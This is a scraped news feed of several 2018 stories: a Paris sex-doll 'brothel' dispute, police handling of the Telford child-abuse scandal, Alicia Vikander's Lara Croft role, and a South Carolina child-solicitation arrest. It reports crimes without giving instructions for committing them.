“Xdolls is not a sex shop. It’s a place that generates money where you rape a woman,” said Lorraine Questiaux, lawyer and spokesperson for the Paris feminist association Mouvement du Nid. The Council of Paris is to debate whether to close the ‘brothel’ on Tuesday and Wednesday. Xdolls opened for business on February 1 in a 70 sq meter apartment in the city’s 14th arrondissement.

Individual patrons are charged €89 ($ 109; £78) per hour, or €120 ($ 148) for couples, to enjoy the company of one of three 1 meter 45cm (4ft 7in) silicone dolls (Lily, Sofia, and Kim), each worth several thousand euro. Owner Joaquim Lousquy is reportedly considering opening a second such ‘brothel’ in Bordeaux.

Owning or operating a brothel is illegal in France and prostitution was outlawed in 2016. However, given that the silicone dolls are inanimate objects, the Xdolls establishment occupies a certain gray area. Police are continuing to monitor the area for any potential disturbances of the peace.

“We are not in a case of prostitution. They are not real women,” an unnamed police officer told Le Parisien. “This is not a criminal but moral problem.”

“We can not talk about rape either. This trade certainly raises questions. It’s unhealthy. But criminally, we can not accuse a man of rape on a doll. It’s almost as if a woman complained against a dildo!” said another anonymous police source.

“The policeman was very nice,” confirms Joaquim Lousquy, the manager and founder of the establishment, which is registered as a “gaming venue” similar to a pool hall.

“There is no criminal offense,” Questiaux confirmed. However, she added that the “Police have an obligation to keep the peace, and uphold the principle of human dignity.”

“As such, this activity is not comparable to procuring, whose definition is specified in Article L.225-5 of the Penal Code. The penal code refers to human beings and not to objects,” police said.

Nicolas Bonnet, President of the Left Front Group of the Paris Council, believes the establishment should be considered a traditional brothel and, therefore, should be closed. The French Communist Party alleges that the dolls’ small stature is reminiscent of children and thus would promote sexual deviancy, reports 24 Matins.

Similar sex doll ‘brothels’ have been set up in Gateshead in the UK and Barcelona in Spain.

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]]> https://briefnews.eu/sex-doll-brothel-monetizes-the-rape-of-women-french-feminists/feed/ 0 Telford child-rape scandal: Police slammed for ‘victim-blaming’ over ‘consensual sex’ note https://briefnews.eu/telford-child-rape-scandal-police-slammed-for-victim-blaming-over-consensual-sex-note/ https://briefnews.eu/telford-child-rape-scandal-police-slammed-for-victim-blaming-over-consensual-sex-note/#respond Thu, 15 Mar 2018 14:49:17 +0000 http://briefnews.eu/telford-child-rape-scandal-police-slammed-for-victim-blaming-over-consensual-sex-note/ UK police have been accused of “victim-blaming” after the rape and exploitation of hundreds of children. More than 1,000 cases could ultimately be uncovered in Telford.

However, a note has reportedly emerged that claims the sex was ‘consensual.’ Children as young as 11 apparently gave permission for their abusers to have sex with them, an internal police message relating to the Telford sex-abuse scandal said.

The message has been uncovered in the probe looking into the sex abuse of children, many of whom were sold for abuse, beaten and forced into taking drugs. It allegedly read “in most cases the sex is consensual.”

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Outrage has spread among campaigners and those involved in the case, as West Mercia Police comes under fire for the latest grooming-gang scandal to rock the UK.

Child-abuse lawyer Dino Nocivelli of Bolt Burdon Kemp, told the Daily Mirror: “The authorities just don’t seem to get it. Children cannot agree to sex. Just because a child is not being physically forced to carry out sexual acts, it doesn’t mean they consented. Many of these children will have been groomed and manipulated by their abusers and would have been threatened to keep silent. How can you say an 11-year-old is capable of consenting to sex with a 40-year old? This is rape.”

Officers are being accused of “victim blaming” the children. It is currently unclear how many victims the police could unearth, but some claims say 1,000-plus children may have been groomed over four decades in the Shropshire town.

A probe found that two predatory pedophiles began targeting girls from a local children’s home in 1981. This appears to have been the starting point for years of systemic abuse, according to the investigation.

Home Office figures show that Telford, a town of 170,000 people, has the third-highest number of child sexual offences recorded in the UK, after Blackpool and Rotherham. West Mercia Police Supt Tom Harding has, however, disputed claims that this could be the UK’s worst scandal.

“I don’t believe Telford is any worse than lots of places across England and Wales,” he told the BBC. “I am confident that, in the main, we do know the scale of CSE. Therefore, I significantly dispute the 1,000-plus figure and do feel it is sensationalized.

“Read the headlines, read the reports. What are they actually discussing? They’re discussing cases from 20 or 30 years ago, offending back in the 1990s. We’ve never said there aren’t cases, there are always cases we are working on and seeking to prosecute.”

However, West Mercia Police has said tackling child sexual exploitation remained its ‘number one priority’ for officers in Telford. In 2017, the approach of the officers was ‘subject to independent scrutiny’ from the Home Office last year.

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Horror cases from the area have emerged, including the treatment of Lucy Lowe. The child, 16, was pregnant with her second child when she was murdered by her ‘boyfriend’ alongside her sister Sarah, 17, and their mother Eileen, 49.

Taxi-driver Azhar Ali Mehmood first targeted Lucy in 1997. She gave birth to his child when she was just 14. Two years later, her burned down their house in Telford. He was never arrested or charged with any sex abuse crimes over his involvement with the young girl.

Becky Watson, 13, was killed after a car she was in crashed. It later emerged she had been the victim of Child Sex Exploitation (CSE) for two years. Vicky Round, a friend of Becky’s, was forced into a crack-cocaine addiction, aged 12. She died aged 20 after a suspected drug overdose.

Torron Watson, Becky’s mother, said: “Girls like Becky were treated like criminals. A girl of 13 is not a criminal for being raped and abused, she is a victim and it is the disgusting perverts who abused and violated her who are the criminals,” she said.

Other women who survived abuse spoke about being taken to “rape houses” where they were repeatedly abused. Their sickening adult abusers reportedly told them that they would “burn their house down” if they told anyone – referring to the killing of Lucy Lowe. Prime Minister Theresa May told the Commons it is important that an inquiry into child sexual exploitation in Telford gets under way as quickly as possible.

Seven members of a grooming gang were jailed in 2013 after a police investigation. Officers admitted at the time that up to 200 men from across the country had been involved in the ring, but many remained unidentified.

This is not the first such scandal to rock the UK. Asian grooming gangs were found to have raped and systematically abused hundreds of girls in Rotherham. Local MEP Jane Collins called for an “urgent, immediate investigation into the apparent industrial scale child sexual exploitation in and around Telford.”

“It brings me to tears to think that despite everything people said had been learnt from the scandal in Rotherham, and the suffering and abuse of those victims, we still have young girls being raped by predominantly Pakistani Muslim men, just as they were and, I believe, still are in Rotherham,” she said.

“When did some people in the police, in social services and in local and national government, start thinking that the systematic rape and abuse of children was acceptable, which trying to stop an investigation seems to indicate?”

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The video game character is one of the most iconic of all time – and was previously played by Angelina Jolie in two movies at the turn of the millennium.

Now, Vikander has stepped into the role for the new movie version, due in cinemas later this week.

In a new interview, she spoke of updating the character for the modern age.

“Lara Croft has been this sex symbol, but films from back then, oh, my God, the view they had of women and power is so different,” she told American Way.

“She had to be brought into our time.”

The movie finds Croft as she seeks adventure following the disappearance of her father.

“This is a girl trying to figure out what path she’s going to take in life, and there’s a lot of pressure on her. She’s like me when I was 20,” Vikander added.

Speaking on The Graham Norton Show last month, Vikander had addressed the notorious body shape of Croft in the first video games.

“My breasts are not as pointy as the first Lara, but I had a clear vision of how I wanted to play her,” she joked.

“I was a huge fan as a kid and whilst I was too scared to play the games when I was 10, I learnt all her moves.”

Tomb Raider is in cinemas from Friday.

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]]> https://briefnews.eu/tomb-raider-movie-2018-is-lara-croft-still-a-sex-symbol-alicia-vikander-speaks-out/feed/ 0 US man who hunted for a child ‘sex slave’ he could ‘cannibalize’ is released on bail https://briefnews.eu/us-man-who-hunted-for-a-child-sex-slave-he-could-cannibalize-is-released-on-bail/ https://briefnews.eu/us-man-who-hunted-for-a-child-sex-slave-he-could-cannibalize-is-released-on-bail/#respond Wed, 07 Mar 2018 02:54:13 +0000 http://briefnews.eu/us-man-who-hunted-for-a-child-sex-slave-he-could-cannibalize-is-released-on-bail/ A Myrtle Beach man who voiced his perverse criminal intentions to an undercover cop has been released on $ 20,000 bond. He was among 40 suspects arrested in South Carolina’s largest crackdown on prostitution and sex trafficking.

Justin Teeter Bensing, 36, was apprehended by Greenville county police during Operation Milestone, after he solicited sex from an undercover cop disguised as a minor. He asked her if she was “ready to be a full-time baby maker and sex slave,” according to his arrest warrant.

The 13th judicial circuit court has charged Bensing with two counts of “criminal solicitation of a minor.” He was arrested on February 12 and released on February 14, WYFF reports.

Bensing, 36, went by the alias “Rebel Deese” and “wanted a person brought to him that he could eat, physically cannibalize,” Greenville County Sheriff Will Lewis stated. He also reportedly wanted his victims to drink his urine and expressed a penchant for beastiality.

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“He […] wanted sexual acts with animals,” Sheriff Lewis mentioned. “Depravity doesn’t even begin to describe this.”

However, Bensing’s father denies allegations that his son has ever wanted to cannibalize children. “The only thing I have to say on Justin’s behalf is that any charges of cannibalism are not correct,” he told AP reporters.

An attorney is not currently listed for Bensing and he possesses no prior criminal history, according to court documents. A trial has also not been scheduled yet.

Bensing is not the only wannabe cannibal making headlines recently. Dale Bolinger, an American man dubbed the “Canterbury Cannibal”, was arrested after he attempted to meet a 14-year-old girl via the Dark Fetish Network (DFN) in the UK.

Bolinger, 62, reportedly bought an axe before meeting the girl at a train station. The girl, however, never showed up. He was convicted of trying to eat the teenager and was sentenced to nine years in prison in Canterbury, England, but was relocated to a Nebraska jail.

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